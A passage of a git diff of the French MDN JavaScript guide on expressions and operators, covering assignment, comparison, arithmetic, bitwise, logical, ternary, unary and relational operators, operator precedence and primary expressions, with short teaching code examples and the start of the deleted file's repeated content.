Comme « x++ » ou « ++x ».

+ +

Opérateurs d'affectation

+ +

Un opérateur d'affectation assigne une valeur à son opérande gauche, valeur basée sur celle de l'opérande droit. L'opérateur d'affectation simple est le signe égal (=), il assigne la valeur de l'opérande droit à l'opérande gauche. Autrement dit, avec « x = y » on affecte la valeur y à x.

+ +

D'autres opérateurs d'affectation sont des raccourcis correspondant à certaines opérations composées, ils sont énumérés dans le tableau qui suit :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Opérateurs d'affectation
NomOpérateur composéSignification
Affectationx = yx = y
Affectation après additionx += yx = x + y
Affectation après soustractionx -= yx = x - y
Affectation après multiplicationx *= yx = x * y
Affectation après divisionx /= yx = x / y
Affectation du restex %= yx = x % y
Affectation après exponentiation{{experimental_inline}}x **=yx = x ** y
Affectation après décalage à gauchex <<= yx = x << y
Affectation après décalage à droitex >>= yx = x >> y
Affectation après décalage à droite non signéx >>>= yx = x >>> y
Affectation après ET binairex &= yx = x & y
Affectation après OU exclusif binairex ^= yx = x ^ y
Affectation après OU binairex |= yx = x | y
+ +

Décomposition

+ +

Lors d'affectations plus complexes, on peut utiliser l'affectation par décomposition. C'est une expression qui permet d'extraire des données depuis des tableaux ou des objets avec une syntaxe symétrique de littéraux de tableaux ou d'objets pour affecter des variables.

+ +
var toto = ["un", "deux", "trois"];
+
+// sans décomposition
+var un = toto[0];
+var deux = toto[1];
+var trois = toto[2];
+
+// avec la décomposition
+var [un, deux, trois] = toto;
+ +

Opérateurs de comparaison

+ +

Un opérateur de comparaison compare ses deux opérandes et renvoie un valeur booléenne correspondant au résultat de la comparaison (vraie ou fausse). Les opérandes peuvent être des nombres, des chaînes de caractères, des booléens ou des objets. Les chaînes de caractères sont comparées selon l'ordre lexicographique usuel en utilisant les valeurs Unicode. Dans la plupart des cas, si les deux opérandes ne sont pas du même type, JavaScript tentera de les convertir vers un type approprié. Cette méthode aboutira souvent à une comparaison numérique. Les seules exceptions à cette conversion implicite sont les opérateurs === et !== , qui testent des égalités et inégalités strictes. Ces opérateurs n'effectuent pas de conversion de type. Le tableau qui suit décrit les opérateurs de comparaisons relativement à ce fragment de code :

+ +
var var1 = 3;
+var var2 = 4;
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Opérateurs de comparaison
OpérateurDescriptionExemples qui renvoient true
Égalité (==)Renvoie true si les opérandes sont égaux après conversion en valeurs de mêmes types.3 == var1 +

"3" == var1

+ 3 == '3'
Inégalité (!=)Renvoie true si les opérandes sont différents.var1 != 4
+ var2 != "3"
Égalité stricte (===)Renvoie true si les opérandes sont égaux et de même type. Voir {{jsxref("Object.is","Object.is()")}} et égalité de type en JavaScript.3 === var1
Inégalité stricte (!==)Renvoie true si les opérandes ne sont pas égaux ou s'ils ne sont pas de même type.var1 !== "3"
+ 3 !== '3'
Supériorité stricte (>)Renvoie true si l'opérande gauche est supérieur (strictement) à l'opérande droit.var2 > var1
+ "12" > 2
Supériorité ou égalité (>=)Renvoie true si l'opérande gauche est supérieur ou égal à l'opérande droit.var2 >= var1
+ var1 >= 3
Infériorité stricte (<)Renvoie true si l'opérande gauche est inférieur (strictement) à l'opérande droit.var1 < var2
+ "2" < "12"
Infériorité ou égalité (<=)Renvoie true si l'opérande gauche est inférieur ou égal à l'opérande droit.var1 <= var2
+ var2 <= 5
+ +
+

Note : => n'est pas un opérateur. Il s'agit de la notation utilisée pour les fonctions fléchées.

+
+ +

Opérateurs arithmétiques

+ +

Les opérateurs arithmétiques ont pour opérandes des valeurs numériques (des littéraux ou des variables) et renvoient une valeur numérique. Les opérateurs arithmétiques standards sont l'addition (+), la soustraction (-), la multiplication (*), et la division (/). Ces opérateurs fonctionnent comme pour la plupart des langages de programmation lorsqu'ils sont utilisés avec des nombres décimaux (on notera que la division par zéro a pour résultat {{jsxref("Infinity")}}). Ainsi :

+ +
1 / 2; // 0.5
+1 / 2 == 1.0 / 2.0; // true
+
+ +

En plus des opérations arithmétiques standards (+,-,*,/), JavaScript fournit également d'autres opérateurs arithmétiques, listés dans le tableau qui suit :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Opérateurs arithmétiques
OpérateurDescriptionExemple
Reste (%)
+  		Opérateur binaire. Renvoie le reste entier de la division entre les deux opérandes.12 % 5 renvoie 2.
Incrément (++)Opérateur unaire. Ajoute un à son opérande. S'il est utilisé en préfixe (++x), il renvoie la valeur de l'opérande après avoir ajouté un, s'il est utilisé comme opérateur de suffixe (x++), il renvoie la valeur de l'opérande avant d'ajouter un.Si x vaut 3, ++x incrémente x à 4 et renvoie 4, x++ renvoie 3 et seulement ensuite ajoute un à x.
Décrément (--)Opérateur unaire. Il soustrait un à son opérande. Il fonctionne de manière analogue à l'opérateur d'incrément.Si x vaut 3, --x décrémente x à 2 puis renvoie2, x-- renvoie 3 puis décrémente la valeur de x.
Négation unaire (-)Opérateur unaire. Renvoie la valeur opposée de l'opérande.Si x vaut 3, alors -x renvoie -3.
Plus unaire (+)Opérateur unaire. Si l'opérande n'est pas un nombre, il tente de le convertir en une valeur numérique. +

+"3" renvoie 3.

+ +

+true renvoie 1.

+
Opérateur d'exponentiation (**) (puissance) {{experimental_inline}}Calcule un nombre (base) élevé à une puissance donnée (soit basepuissance) +

2 ** 3 renvoie 8

+ +

10 ** -1 renvoie 0.1

+
+ +

Opérateurs binaires

+ +

Les opérateurs binaires voient leurs opérandes comme des ensembles de 32 bits (des zéros et des uns), et non pas comme des nombres décimaux, octaux ou hexadécimaux. Ainsi, le nombre décimal neuf aura une représentation binaire de 1001. Les opérateurs binaires effectuent des opérations sur des représentations binaires mais renvoies des valeurs numériques JavaScript standards.

+ +

Le tableau qui suit résume les opérateurs binaires JavaScript :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Opérateurs binaires
OpérateurUtilisationDescription
AND (ET) binairea & bRenvoie un 1 à chaque position binaire pour laquelle les bits des deux opérandes sont à 1.
OR (OU) binairea | bRenvoie un zéro à chaque position binaire pour laquelle au moins un des bits des deux opérandes est à 0.
XOR (OU exclusif) binairea ^ bRenvoie un zéro à chaque position binaire pour laquelle les bits sont les mêmes (et un 1 pour chacun des bits qui est différent).
NOT (NON) binaire~ aInverse les bits de l'opérande.
Décalage binaire à gauchea << bDécale la représentation binaire de b bits sur la gauche et complète avec des zéros à droite.
Décalage binaire à droitea >> bDécale la représentation binaire de b bits sur la droite en ignorant les bits perdus.
Décalage binaire à droite en complétant avec des zérosa >>> bDécale la représentation binaire de b bits sur la droite en ignorant les bits perdus et ajoute des zéros sur la gauche.
+ +

Opérateurs binaires logiques

+ +

Les opérateurs binaires logiques fonctionnent de cette façon :

+ +
    +
  • Les opérandes sont convertis en entiers sur 32 bits et exprimés comme une série de bits (des 1 et des 0). Les nombres sur plus de 32 bits voient leurs bits supplémentaires supprimés : + 
    Avant : 11100110111110100000000000000110000000000001
+Après :             10100000000000000110000000000001
    +
    • +
  • Chaque bit du premier opérande est associé avec le bit correspondant du second opérande (le premier bit du premier opérande avec le premier bit du second opérande, le second avec le second et ainsi de suite)
    • +
  • L'opérateur est appliqué pour chaque paire de bits ainsi constituée et le résultat est reconstruit sous forme binaire.
    • +
+ +

Le chiffre neuf est par exemple représenté comme 1001, et le nombre quinze comme 1111. Ainsi, quand les opérateurs binaires sont appliqués sur ces valeurs, on a les résultats qui suivent :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Exemples utilisant les opérateurs binaires
ExpressionRésultatDescription binaire
15 & 991111 & 1001 = 1001
15 | 9151111 | 1001 = 1111
15 ^ 961111 ^ 1001 = 0110
~15-16~00000000...00001111 = 11111111...11110000
~9-10~00000000...00001001 = 11111111...11110110
+ +

Il faut remarquer que tous les bits sont échangés lorsque l'opérateur binaire NOT est utilisé. Il est donc utile de savoir que les valeurs dont le bit le plus fort (le plus à gauche) vaut 1 sont des nombres négatifs (représentation en complément à deux). L'évaluation de ~x aura le même résultat que l'évaluation de -x - 1.

+ +

Opérateurs binaires de décalage

+ +

Les opérateurs binaires de décalage utilisent deux opérandes : le premier indiquant la quantité à décaler et le second indiquant de combien de bits on décale le premier opérande. La direction du décalage est spécifiée grâce à l'opérateur.

+ +

Les opérateurs binaires de décalage convertissent leurs opérandes en entiers sur 32 bits et renvoient un résultat dont le type est le même que l'opérande gauche.

+ +

Les opérateurs de décalage sont énumérés dans le tableau qui suit.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
Opérateurs binaires de décalage
OpérateurDescriptionExemple
Décalage à gauche (<<)Cet opérateur décale le premier opérande d'un nombre de bits donné sur la gauche. Les bits en trop sont ignorés et des bits à zéro sont introduits à droite.9<<2 renvoie 36, car 1001, décalé de 2 bits à gauche, devient  100100, dont la représentation en base 10 est  36.
Décalage à droite avec propagation du signe (>>)Cet opérateur décale le premier opérande d'un nombre de bits donné sur la droite. Les bits en trop sont ignorés et des bits correspondants au bit de signe sont introduits à gauche.9>>2 renvoie 2, car 1001, décalé de 2 bits à droite, devient 10 représentant 2. De même  -9>>2 renvoie -3, car le signe est préservé.
Décalage à droite avec zéros (>>>)Cet opérateur décale le premier opérande d'un nombre de bits donné sur la droite. Les bits en trop sont ignorés et des bits à 0 sont introduits à gauche.19>>>2 renvoie 4, car 10011, décalé de 2 bits, devient 100 qui représente 4. Pour les nombres positifs, cet opérateur et l'opérateur précédent renvoient les mêmes résultats.
+ +

Opérateurs logiques

+ +

Les opérateurs logiques sont généralement utilisés avec des valeurs booléennes. Dans ce cas, il renvoient une valeur booléenne. Les opérateurs && et || renvoient en fait une valeurs d'un des opérandes et si ces opérateurs sont utilisés avec des valeurs non-booléennées, ils pourront renvoyer une valeur non-booléenne. Les opérateurs logiques sont décrits dans le tableau qui suit.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
Opérateurs logiques
OpérateurUsageDescription
ET logique (&&)expr1 && expr2Renvoie expr1 s'il peut être converti à false, sinon renvoie expr2. Dans le cas où on utilise des opérandes booléens, && renvoie true si les deux opérandes valent true, false sinon.
OU logique (||)expr1 || expr2Renvoie expr1 s'il peut être converti à true, sinon renvoie expr2. Dans le cas où on utilise des opérandes booléens, || renvoie true si l'un des opérandes vaut true, si les deux valent false, il renvoie false.
NON logique (!)!exprRenvoie false si son unique opérande peut être converti en true, sinon il renvoie true.
+ +

Les exemples d'expressions qui peuvent être converties à false sont celles qui sont évaluées à null, 0, NaN, la chaîne de caractères vide (""), ou undefined.

+ +

Le code qui suit montre des exemples de l'utilisation de l'opérateur logique ET (&&).

+ +
var a1 =   true && true;     // t && t renvoie true
+var a2 =   true && false;    // t && f renvoie false
+var a3 =  false && true;     // f && t renvoie false
+var a4 =  false && (3 == 4); // f && f renvoie false
+var a5 = "Chat" && "Chien";  // t && t renvoie Chien
+var a6 =  false && "Chat";   // f && t renvoie false
+var a7 = "Chat" && false;    // t && f renvoie false
+
+ +

Les exemples suivants montrent l'utilisation de l'opérateur logique OU (||).

+ +
var o1 =   true || true;     // t || t renvoie true
+var o2 =  false || true;     // f || t renvoie true
+var o3 =   true || false;    // t || f renvoie true
+var o4 =  false || (3 == 4); // f || f renvoie false
+var o5 = "Chat" || "Chien";  // t || t renvoie Chat
+var o6 =  false || "Chat";   // f || t renvoie Chat
+var o7 = "Chat" || false;    // t || f renvoie Chat
+
+ +

Les exemples suivants montrent l'utilisation de l'opérateur logique NON (!).

+ +
var n1 = !true;   // !t renvoie false
+var n2 = !false;  // !f renvoie true
+var n3 = !"Chat"; // !t renvoie false
+
+ +

Evaluation rapide

+ +

Les expressions logiques sont évaluées de gauche à droite. Cette évaluation utilise des tests pour savoir s'il est possible d'utiliser des « raccourcis » correspondant aux règles suivantes :

+ +
    +
  • false && n'importe quoi sera évalué à false.
    • +
  • true || n'importe quoi sera évalué à true.
    • +
+ +

Les règles logiques garantissent la validité de ces évaluations, il faut noter que le second opérande n'est pas du tout évalué, empêchant ainsi les effets de bords cachés, liés à cette évaluation.

+ +

Opérateurs de chaînes de caractères

+ +

En plus des opérateurs de comparaisons qui peuvent être utilisés sur des chaînes de caractères, il existe l'opérateur de concaténation (+) permettant de concaténer deux chaînes de caractères. Le résultat de cette opération est la fusion des deux opérandes en une même chaîne de caractères. Ainsi :

+ +
console.log("ma " + "chaîne"); // affichera "ma chaîne" dans la console
+ +

L'opérateur court += peut également être utilisé pour concaténer des chaînes. Par exemple :

+ +
var maChaîne = "alpha";
+maChaîne += "bet"; // l'expression sera évaluée en "alphabet"
+                   // et cette valeur sera affectée à maChaîne
+ +

Opérateur conditionnel ternaire

+ +

L'opérateur conditionnel est le seul opérateur JavaScript qui utilise trois opérandes. L'expression utilisant l'opérateur peut prendre une valeur parmi deux selon une condition donnée. Cet opérateur s'utilise avec la syntaxe suivante :

+ +
condition ? val1 : val2
+
+ +

Si condition vaut true, l'opérateur vaudra val1. Sinon il vaudra val2. Il est possible d'utiliser l'opérateur conditionnel aux mêmes endroits qu'un opérateur standard.

+ +

On peut par exemple avoir :

+ +
var statut = (âge >= 18) ? "adulte" : "mineur";
+
+ +

Cette instruction assigne la valeur "adulte" à la variable status si la variable âge est supérieure ou égale à 18. Sinon, on lui affecte la valeur "mineur".

+ +

La virgule comme opérateur

+ +

L'opérateur virgule (,) évalue ses deux opérandes et renvoie la valeur du second opérande. Cet opérateur est principalement utilisé dans les boucles for pour permettre à plusieurs variables d'être modifiées à chaque itération de la boucle.

+ +

Ainsi, si on a un tableau à 2 dimensions avec 10 lignes et colonnes, on peut utiliser la virgule comme opérateur pour incrémenter deux variables à la fois. Le code qui suit imprime les valeurs contenues sur la diagonale du tableau :

+ +
var x = [0,1,2,3,4,5,6,7,8,9]
+var a = [x, x, x, x, x];
+
+for (var i = 0, j = 9; i <= j; i++, j--)
+  console.log("a[" + i + "][" + j + "]= " + a[i][j]);
+
+ +

Opérateurs unaires

+ +

delete

+ +

L'opérateur delete supprime un objet, une propriété d'un objet ou un élément d'un tableau à partir de sa position dans le tableau. La syntaxe de cet opérateur est la suivante :

+ +
delete monObjet;
+delete monObjet.propriété;
+delete monObjet[index];
+delete propriété; // uniquement valide au sein d'une instruction with
+
+ +

où on a monObjet qui est le nom de l'objet, propriété qui est une propriété existante et index un entier indiquant la position d'un élément dans un tableau.

+ +

La quatrième instruction n'est valide qu'au sein d'une instruction with et permet de supprimer une propriété d'un objet.

+ +

Il est possible d'utiliser l'opérateur delete pour supprimer les variables déclarées implicitement mais pas celles déclarées avec var. Si l'opérateur fonctionne correctement, il change la propriété ou l'élément vers la valeur undefined. L'opérateur delete renvoie true si l'opération de suppression est possible, false sinon.

+ +
x = 42;
+var y = 43;
+monobj = new Number();
+monobj.h = 4;    // création de la propriété h
+delete x;        // renvoie true (suppression possible si déclaration implicite)
+delete y;        // renvoie false (suppression impossible si déclaration avec var si la variable n'est pas une propriété)
+delete Math.PI;  // renvoie false (suppression impossible pour les propriétés pré-définies)
+delete monobj.h; // renvoie true (suppression possible des propriétés définies par l'utilisateur)
+delete monobj;   // renvoie true (suppression possible si déclaration implicite)
+
+ +
Suppression d'éléments d'un tableau
+ +

Lorsqu'on supprime un élément d'un tableau, la longueur du tableau n'est pas modifiée. Ainsi, si on supprime a[3], a[4] restera a[4] (même position et valeur) alors que a[3] sera undefined.

+ +

Lorsque l'opérateur delete supprime un élément d'un tableau, cet élément n'appartient plus au tableau. Dans l'exemple qui suit, arbres[3] est supprimé mais il est toujours accessible et renvoie undefined.

+ +
var arbres = new Array("sequoia", "laurier", "cèdre", "chêne", "érable");
+delete arbres[3];
+if (3 in arbres) {
+  // Ceci ne sera pas exécuté
+}
+
+ +

Pour qu'un élément continue à exister mais qu'il vaille undefined, on utilisera le mot-clé undefined plutôt que l'opérateur delete. Dans l'exemple qui suit, arbres[3] est modifié pour valoir undefined et l'élément du tableau continue à exister :

+ +
var arbres = new Array("sequoia", "laurier", "cèdre", "chêne", "érable");
+arbres[3] = undefined;
+if (3 in arbres) {
+  // Ceci sera exécuté
+}
+
+ +

typeof

+ +

L'opérateur typeof peut être utilisé de deux façons distinctes :

+ +
    +
  1. + 
    typeof opérande
    +
    2. +
  2. + 
    typeof (opérande)
+
    +
    3. +
+ +

L'opérateur typeof renvoie une chaîne de caractères indiquant le type de l'opérande (qui n'est pas évalué). opérande correspond à la chaîne de caractère, la variable, le mot-clé ou l'objet dont on souhaite renvoyer le type. L'utilisation des parenthèses est facultative.

+ +

Soient les définitions de variables suivantes :

+ +
var maFonction = new Function("5 + 2");
+var forme = "round";
+var taille = 1;
+var toto = ["Pomme", "Poire", "Orange"];
+var jour = new Date();
+
+ +

L'opérateur typeof renverra les résultats suivants :

+ +
typeof maFonction; // renvoie "function"
+typeof forme;      // renvoie "string"
+typeof taille;     // renvoie "number"
+typeof toto;       // renvoie "object"
+typeof jour;       // renvoie "object"
+typeof inexistant; // renvoie "undefined"
+
+ +

En ce qui concerne les mots-clés true et null, l'opérateur typeof renvoie les résultats suivants :

+ +
typeof true; // renvoie "boolean"
+typeof null; // renvoie "object"
+
+ +

Pour une chaîne de caractères ou un nombre, typeof renvoie les résultats suivants :

+ +
typeof 62;            // renvoie "number"
+typeof 'Hello world'; // renvoie "string"
+
+ +

L'opérateur typeof, lorsqu'il est utilisé avec des propriétés, renvoie le type de valeur contenue dans la propriété :

+ +
typeof document.lastModified; // renvoie "string"
+typeof window.length;         // renvoie "number"
+typeof Math.LN2;              // renvoie "number"
+
+ +

Pour les méthodes et les fonctions, l'opérateur typeof renvoie les résultats suivants :

+ +
typeof blur;        // renvoie "function"
+typeof eval;        // renvoie "function"
+typeof parseInt;    // renvoie "function"
+typeof shape.split; // renvoie "function"
+
+ +

Pour les objets pré-définis, l'opérateur typeof fonctionne ainsi :

+ +
typeof Date;     // renvoie "function"
+typeof Function; // renvoie "function"
+typeof Math;     // renvoie "object"
+typeof Option;   // renvoie "function"
+typeof String;   // renvoie "function"
+
+ +

void

+ +

L'opérateur void peut être utilisé de deux façons :

+ +
    +
  1. + 
    void (expression)
+
    +
    2. +
  2. + 
    void expression
+
    +
    3. +
+ +

L'opérateur void indique qu'une expression doit être évaluée sans retourner de valeur. expression étant une expression JavaScript à évaluer. Les parenthèses sont facultatives mais les utiliser permet d'avoir une meilleur lisibilité du code.

+ +

L'opérateur void peut être utilisé pour spécifier une expression comme un lien hypertexte, l'expression est évaluée mais n'est pas chargée à la place du document actuel.

+ +

Le fragment de code  qui suit crée un lien hypertexte qui ne fait rien lorsque l'utilisateur clique dessus. Lorsqu'on clique sur le lien, void(0) est évalué à undefined, n'ayant aucun effet.

+ +
<A HREF="javascript:void(0)">Cliquer ici pour ne rien faire</A>
+
+ +

Le code suivant crée un lien hypertexte qui envoie un formulaire lorsque l'utilisateur clique dessus.

+ +
<A HREF="javascript:void(document.form.submit())">
+Cliquer ici pour envoyer</A>
+ +

Opérateurs relationnels

+ +

Un opérateur relationnel compare ses opérandes et renvoie une valeur booléenne selon que le résultat de la comparaison est vrai ou faux.

+ +

in

+ +

L'opérateur in renvoie true si la propriété indiquée fait partie de l'objet donné. Cet opérateur s'utilise avec la syntaxe suivante :

+ +
nomOuNumeroPropriete in monObjet
+
+ +

avec nomOuNumeroPropriete qui est une chaîne de caractères, une expression numérique ou un symbole correspondant au nom d'une propriété ou un indice de tableau, monObjet est le nom d'un objet.

+ +

Les exemples qui suivent utilisent cet opérateur in.

+ +
// Tableaux
+var arbres = new Array("sequoia", "laurier", "cèdre", "chêne", "érable");
+0 in arbres;         // renvoie true
+3 in arbres;         // renvoie true
+6 in arbres;         // renvoie false
+"laurier" in arbres; // renvoie false (l'opérateur se base sur l'indice et pas
+                     // sur la valeur)
+"length" in arbres;  // renvoie true (length est une propriété d'un objet Array)
+
+// Objets pré-définis
+"PI" in Math;         // renvoie true
+var myString = new String("coral");
+"length" in myString; // renvoie true
+
+// Objets définis par l'utilisateur
+var maVoiture = {fabricant: "Honda", modèle: "Accord", year: 1998};
+"fabricant" in maVoiture; // renvoie true
+"modèle" in maVoiture;    // renvoie true
+
+ +

instanceof

+ +

L'opérateur instanceof renvoie true si l'objet donné est du type spécifié. Cet opérateur s'utilise avec la syntaxe suivante :

+ +
nomObjet instanceof typeObjet
+
+ +

avec nomObjet qui est le nom de l'objet dont on souhaite comparer le type à typeObjet, typeObjet étant un type d'objet tel que {{jsxref("Date")}} ou {{jsxref("Array")}}.

+ +

instanceof peut être utilisé pour confirmer le type d'un objet pendant l'exécution. Ainsi, on peut gérer les exceptions en prévoyant différents cas pour différents types d'exception éventuellement levées.

+ +

Dans l'exemple qui suit, le code utilise l'opérateur instanceof afin de déterminer si jour est un objet Date. C'est le cas, les instructions contenues dans le bloc après l'instruction if sont donc exécutées.

+ +
var jour = new Date(2007, 01, 22);
+if (jour instanceof Date) {
+  // instructions à exécuter
+}
+
+ +

Précédence des opérateurs

+ +

La précédence des opérateurs indique l'ordre dans lequel ils sont appliqués lors de l'évaluation d'une expression. L'utilisation de parenthèses permet de surcharger la relation de précédence.

+ +

Le tableau qui suit décrit les précédences des opérateurs, dans l'ordre décroissant.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Précédence des opérateurs
Type d'opérateurOpérateurs individuels
membre. []
appel/création d'instance() new
négation/incrémentation! ~ - + ++ -- typeof void delete
multiplication/division* / %
addition/soustraction+ -
décalage binaire<< >> >>>
relationnel< <= > >= in instanceof
égalité== != === !==
ET binaire&
OU exclusif binaire^
OU binaire|
ET logique&&
OU logique||
conditionnel?:
assignation= += -= *= /= %= <<= >>= >>>= &= ^= |=
virgule,
+ +

Une version plus détaillée de cette table peut être trouvée dans la référence JavaScript.

+ +

Expressions

+ +

Un expression correspond à une unité de code valide qui est résolue en une valeur.

+ +

D'un point de vue syntaxique, toute expression valide se résout en une valeur. D'un point de vue conceptuel cependant, il y a deux types d'expressions : celles avec des effets de bord (qui, par exemple, affectent une valeur à une variable) et celles qui, d'une certaine façon, sont évaluées et sont résolues en une valeur.

+ +

L'expression x = 7 affecte une valeur (premier type). Dans celle-ci, on utilise l'opérateur = pour affecter la valeur 7 à la variable x. L'expression elle-même est évaluée à 7.

+ +

Le code 3 + 4 correspond au second type d'expression. On utilise ici l'opérateur + pour ajouter trois à quatre sans affecter le résultat (7) à une variable.

+ +

Les expressions JavaScript peuvent être rangées selon différentes catégories :

+ +
    +
  • Arithmétiques : l'expression est évaluée en un nombre (par exemple 3.14159)
    • +
  • Textuelles : l'expression est évaluée en une chaîne de caractères
    • +
  • Logiques : l'expression est évaluée en true ou false
    • +
  • Primaires : Les mots-clés basiques et les expressions générales en JavaScript
    • +
  • Expressions vers la gauche : Les valeurs à gauche sont la cible d'une affectation
    • +
+ +

Expressions primaires

+ +

Ces expressions correspondent aux mots-clés et aux expressions générales en JavaScript.

+ +

this

+ +

Le mot-clé this permet de faire référence à l'objet courant. En général, on l'utilise au sein d'une méthode pour faire référence à l'objet qui a utilisé la méthode. Il s'utilise de cette façon :

+ +
this["nomPropriété"]
+this.nomPropriété
+ +

Soit une fonction qui valide un objet si sa propriété value est comprise entre deux valeurs :

+ +
function valide(obj, valMin, valMax){
+  if ((obj.value < valMin) || (obj.value > valMax))
+    console.log("Valeur incorrecte !");
+}
+
+ +

Il est possible d'appeler valide pour chaque gestionnaire d'événement onChange des éléments du formulaire, et d'utiliser le mot-clé this pour passer l'élément même en argument :

+ +
<p>Entrez un nombre entre 18 et 99 :</p>
+<input type="text" nom="age" size=3 onChange="valide(this, 18, 99);">
+
+ +

Opérateur de groupement

+ +

L'opérateur de groupement ( ) permet de contrôler la précédence de l'évaluation dans les expressions. On peut ainsi forcer l'évaluation d'une addition avant l'évaluation d'une multiplication ou d'une division.

+ +
var a = 1;
+var b = 2;
+var c = 3;
+
+// précédence par défaut
+a + b * c;   // 7
+// ce qui correspond à :
+a + (b * c); // 7
+
+// on peut utiliser l'opérateur
+// pour effectuer l'addition en premier
+(a + b) * c;   // 9
+
+// ce qui équivaut à :
+a * c + b * c; // 9
+
+ +

Expressions vers la gauche

+ +

Les valeurs à gauches de ces expressions sont la cible d'une affectation.

+ +

new

+ +

L'opérateur new permet de créer une instance d'un objet défini par l'utilisateur ou d'un objet dont le type est un des types d'objets natifs. Cet opérateur utilise la syntaxe suivante :

+ +
var nomObjet = new typeObjet([param1, param2, ..., paramN]);
+
+ +

super

+ +

Le mot-clé super est utilisé afin d'appeler des fonctions disponibles sur un objet parent. Il peut notamment être utilisé avec les classes pour appeler le constructeur parent.

+ +
super([arguments]); // invoque le constructeur parent
+super.functionParent([arguments]);
+
+ +

Opérateur de décomposition

+ +

L'opérateur de décomposition permet de développer une expression là où plusieurs argument (pour les appels de fonction) ou plusieurs éléments (pour les littéraux de tableaux) sont attendus.

+ +

Par exemple, si on a tableau et qu'on souhaite créer un nouveau tableau qui contient l'ancien, on peut soit utiliser une combinaison des méthodes push, splice, concat, soit utiliser la syntaxe de décomposition qui s'avère plus concise :

+ +
var parts = ['shoulders', 'knees'];
+var lyrics = ['head', ...parts, 'and', 'toes'];
+ +

L'opérateur de décomposition fonctionne de façon semblable avec les appels de fonction :

+ +
function f(x, y, z) { }
+var args = [0, 1, 2];
+f(...args);
+ +

{{PreviousNext("Web/JavaScript/Guide/Fonctions", "Web/JavaScript/Guide/Nombres_et_dates")}}

diff --git "a/files/fr/web/javascript/guide/expressions_et_op\303\251rateurs/index.html" "b/files/fr/web/javascript/guide/expressions_et_op\303\251rateurs/index.html" deleted file mode 100644 index fc922c49ce..0000000000 --- "a/files/fr/web/javascript/guide/expressions_et_op\303\251rateurs/index.html" +++ /dev/null @@ -1,934 +0,0 @@ ---- -title: Expressions et opérateurs -slug: Web/JavaScript/Guide/Expressions_et_Opérateurs -tags: - - Débutant - - Expressions - - Guide - - JavaScript - - Operators -translation_of: Web/JavaScript/Guide/Expressions_and_Operators ---- -

{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Fonctions", "Web/JavaScript/Guide/Nombres_et_dates")}}

- -

Ce chapitre décrit les expressions et les opérateurs en JavaScript, il inclut des notions sur les opérateurs d'affectation, de comparaison, les opérateurs arithmétiques, binaires, logiques, ceux qui s'appliquent sur les chaînes de caractères ainsi que les opérateurs spéciaux.

- -

Une liste complète et détaillée des opérateurs JavaScript est disponible dans la référence JavaScript.

- -

Opérateurs

- -

JavaScript possède différents types d'opérateurs. Cette section décrit les opérateurs et certaines informations sur les priorités entre opérateurs.

- - - -

JavaScript utilise des opérateurs binaires et unaires, ainsi qu'un opérateur ternaire spécial (l'opérateur conditionnel). Un opérateur binaire utilise deux opérandes, un précédant l'opérateur et un lui succédant :

- -
opérande1 opérateur opérande2
-
- -

Par exemple : « 3+4 » ou « x*y ».

- -

Un opérateur unaire ne nécessite qu'un opérande, avant ou après l'opérateur :

- -
opérateur opérande
- -

ou

- -
opérande opérateur
- -

Comme « x++ » ou « ++x ».

- -

Opérateurs d'affectation

- -

Un opérateur d'affectation assigne une valeur à son opérande gauche, valeur basée sur celle de l'opérande droit. L'opérateur d'affectation simple est le signe égal (=), il assigne la valeur de l'opérande droit à l'opérande gauche. Autrement dit, avec « x = y » on affecte la valeur y à x.

- -

D'autres opérateurs d'affectation sont des raccourcis correspondant à certaines opérations composées, ils sont énumérés dans le tableau qui suit :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Opérateurs d'affectation
NomOpérateur composéSignification
Affectationx = yx = y
Affectation après additionx += yx = x + y
Affectation après soustractionx -= yx = x - y
Affectation après multiplicationx *= yx = x * y
Affectation après divisionx /= yx = x / y
Affectation du restex %= yx = x % y
Affectation après exponentiation{{experimental_inline}}x **=yx = x ** y
Affectation après décalage à gauchex <<= yx = x << y
Affectation après décalage à droitex >>= yx = x >> y
Affectation après décalage à droite non signéx >>>= yx = x >>> y
Affectation après ET binairex &= yx = x & y
Affectation après OU exclusif binairex ^= yx = x ^ y
Affectation après OU binairex |= yx = x | y
- -

Décomposition

- -

Lors d'affectations plus complexes, on peut utiliser l'affectation par décomposition. C'est une expression qui permet d'extraire des données depuis des tableaux ou des objets avec une syntaxe symétrique de littéraux de tableaux ou d'objets pour affecter des variables.

- -
var toto = ["un", "deux", "trois"];
-
-// sans décomposition
-var un = toto[0];
-var deux = toto[1];
-var trois = toto[2];
-
-// avec la décomposition
-var [un, deux, trois] = toto;
- -

Opérateurs de comparaison

- -

Un opérateur de comparaison compare ses deux opérandes et renvoie un valeur booléenne correspondant au résultat de la comparaison (vraie ou fausse). Les opérandes peuvent être des nombres, des chaînes de caractères, des booléens ou des objets. Les chaînes de caractères sont comparées selon l'ordre lexicographique usuel en utilisant les valeurs Unicode. Dans la plupart des cas, si les deux opérandes ne sont pas du même type, JavaScript tentera de les convertir vers un type approprié. Cette méthode aboutira souvent à une comparaison numérique. Les seules exceptions à cette conversion implicite sont les opérateurs === et !== , qui testent des égalités et inégalités strictes. Ces opérateurs n'effectuent pas de conversion de type. Le tableau qui suit décrit les opérateurs de comparaisons relativement à ce fragment de code :

- -
var var1 = 3;
-var var2 = 4;
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Opérateurs de comparaison
OpérateurDescriptionExemples qui renvoient true
Égalité (==)Renvoie true si les opérandes sont égaux après conversion en valeurs de mêmes types.3 == var1 -

"3" == var1

- 3 == '3'
